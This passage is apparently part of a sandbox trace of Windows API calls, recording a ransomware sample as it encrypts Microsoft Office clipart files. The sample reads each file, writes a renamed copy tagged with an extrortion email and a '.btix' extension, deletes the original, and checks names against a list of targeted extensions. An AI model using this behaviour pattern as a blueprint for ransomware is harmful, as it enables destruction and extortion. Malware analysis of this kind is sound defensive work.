nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2454, lpOverlapped=0x0) returned 1 [0132.172] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2460, lpOverlapped=0x0) returned 1 [0132.173] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.173] WriteFile (in: hFile=0x4d0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.173] SetEndOfFile (hFile=0x4d0) returned 1 [0132.244] CloseHandle (hObject=0x4d0) returned 1 [0132.246] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.246] SetEndOfFile (hFile=0x4cc) returned 1 [0132.255] CloseHandle (hObject=0x4cc) returned 1 [0132.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0132.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.284] lstrlenW (lpString=".doc") returned 4 [0132.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.284] lstrlenW (lpString=".docx") returned 5 [0132.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.284] lstrlenW (lpString=".pdf") returned 4 [0132.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.284] lstrlenW (lpString=".xls") returned 4 [0132.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.284] lstrlenW (lpString=".xlsx") returned 5 [0132.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.284] lstrlenW (lpString=".ppt") returned 4 [0132.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".zip") returned 4 [0132.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.285] lstrlenW (lpString=".rar") returned 4 [0132.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString=".bz2") returned 4 [0132.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString=".7z") returned 3 [0132.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".dbf") returned 4 [0132.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".1cd") returned 4 [0132.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".jpg") returned 4 [0132.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".doc") returned 4 [0132.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString=".docx") returned 5 [0132.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.285] lstrlenW (lpString=".pdf") returned 4 [0132.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString=".xls") returned 4 [0132.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.285] lstrlenW (lpString=".xlsx") returned 5 [0132.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.285] lstrlenW (lpString=".ppt") returned 4 [0132.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.285] lstrlenW (lpString=".zip") returned 4 [0132.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.286] lstrlenW (lpString=".rar") returned 4 [0132.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.286] lstrlenW (lpString=".bz2") returned 4 [0132.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.286] lstrlenW (lpString=".7z") returned 3 [0132.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.286] lstrlenW (lpString=".dbf") returned 4 [0132.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.286] lstrlenW (lpString=".1cd") returned 4 [0132.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0132.286] lstrlenW (lpString=".jpg") returned 4 [0132.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.286] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.286] lstrlenW (lpString="HH00693_.WMF") returned 12 [0132.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0132.287] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7098) returned 1 [0132.287] CloseHandle (hObject=0x4cc) returned 1 [0132.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0132.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0132.287] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.287] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0132.288] GetLastError () returned 0x0 [0132.288] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0132.348] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0132.348] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.349] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.349] SetEndOfFile (hFile=0x4c0) returned 1 [0132.349] CloseHandle (hObject=0x4c0) returned 1 [0132.349] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.349] SetEndOfFile (hFile=0x4cc) returned 1 [0132.351] CloseHandle (hObject=0x4cc) returned 1 [0132.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0132.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.352] lstrlenW (lpString=".doc") returned 4 [0132.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.352] lstrlenW (lpString=".docx") returned 5 [0132.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.352] lstrlenW (lpString=".pdf") returned 4 [0132.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.352] lstrlenW (lpString=".xls") returned 4 [0132.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.352] lstrlenW (lpString=".xlsx") returned 5 [0132.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.353] lstrlenW (lpString=".ppt") returned 4 [0132.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString=".zip") returned 4 [0132.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.353] lstrlenW (lpString=".rar") returned 4 [0132.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString=".bz2") returned 4 [0132.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString=".7z") returned 3 [0132.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString=".dbf") returned 4 [0132.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString=".1cd") returned 4 [0132.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString=".jpg") returned 4 [0132.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.353] lstrlenW (lpString=".doc") returned 4 [0132.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString=".docx") returned 5 [0132.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.353] lstrlenW (lpString=".pdf") returned 4 [0132.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString=".xls") returned 4 [0132.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.353] lstrlenW (lpString=".xlsx") returned 5 [0132.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.353] lstrlenW (lpString=".ppt") returned 4 [0132.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.354] lstrlenW (lpString=".zip") returned 4 [0132.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.354] lstrlenW (lpString=".rar") returned 4 [0132.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.354] lstrlenW (lpString=".bz2") returned 4 [0132.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.354] lstrlenW (lpString=".7z") returned 3 [0132.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.354] lstrlenW (lpString=".dbf") returned 4 [0132.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.354] lstrlenW (lpString=".1cd") returned 4 [0132.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0132.354] lstrlenW (lpString=".jpg") returned 4 [0132.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.354] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.354] lstrlenW (lpString="HH01065_.WMF") returned 12 [0132.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0132.645] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1268) returned 1 [0132.645] CloseHandle (hObject=0x500) returned 1 [0132.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0132.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0132.645] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.646] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0132.646] GetLastError () returned 0x0 [0132.646] ReadFile (in: hFile=0x500, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0132.822] WriteFile (in: hFile=0x504, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x500, lpOverlapped=0x0) returned 1 [0132.823] ReadFile (in: hFile=0x500, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.823] WriteFile (in: hFile=0x504, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0132.823] SetEndOfFile (hFile=0x504) returned 1 [0132.824] CloseHandle (hObject=0x504) returned 1 [0132.824] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.824] SetEndOfFile (hFile=0x500) returned 1 [0132.826] CloseHandle (hObject=0x500) returned 1 [0132.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0132.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0132.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.827] lstrlenW (lpString=".doc") returned 4 [0132.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.827] lstrlenW (lpString=".docx") returned 5 [0132.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.827] lstrlenW (lpString=".pdf") returned 4 [0132.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.827] lstrlenW (lpString=".xls") returned 4 [0132.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.827] lstrlenW (lpString=".xlsx") returned 5 [0132.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.827] lstrlenW (lpString=".ppt") returned 4 [0132.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.827] lstrlenW (lpString=".zip") returned 4 [0132.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.827] lstrlenW (lpString=".rar") returned 4 [0132.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString=".bz2") returned 4 [0132.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString=".7z") returned 3 [0132.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString=".dbf") returned 4 [0132.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString=".1cd") returned 4 [0132.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString=".jpg") returned 4 [0132.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString=".doc") returned 4 [0132.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString=".docx") returned 5 [0132.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0132.828] lstrlenW (lpString=".pdf") returned 4 [0132.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString=".xls") returned 4 [0132.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0132.828] lstrlenW (lpString=".xlsx") returned 5 [0132.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0132.828] lstrlenW (lpString=".ppt") returned 4 [0132.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0132.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.828] lstrlenW (lpString=".zip") returned 4 [0132.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0132.829] lstrlenW (lpString=".rar") returned 4 [0132.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0132.829] lstrlenW (lpString=".bz2") returned 4 [0132.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0132.829] lstrlenW (lpString=".7z") returned 3 [0132.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.829] lstrlenW (lpString=".dbf") returned 4 [0132.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.829] lstrlenW (lpString=".1cd") returned 4 [0132.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0132.829] lstrlenW (lpString=".jpg") returned 4 [0132.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0132.829] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0132.829] lstrlenW (lpString="HH01618_.WMF") returned 12 [0132.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0132.830] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7296) returned 1 [0132.830] CloseHandle (hObject=0x500) returned 1 [0132.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0132.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0132.830] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.830] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0132.831] GetLastError () returned 0x0 [0132.831] ReadFile (in: hFile=0x500, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0132.914] WriteFile (in: hFile=0x504, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1c90, 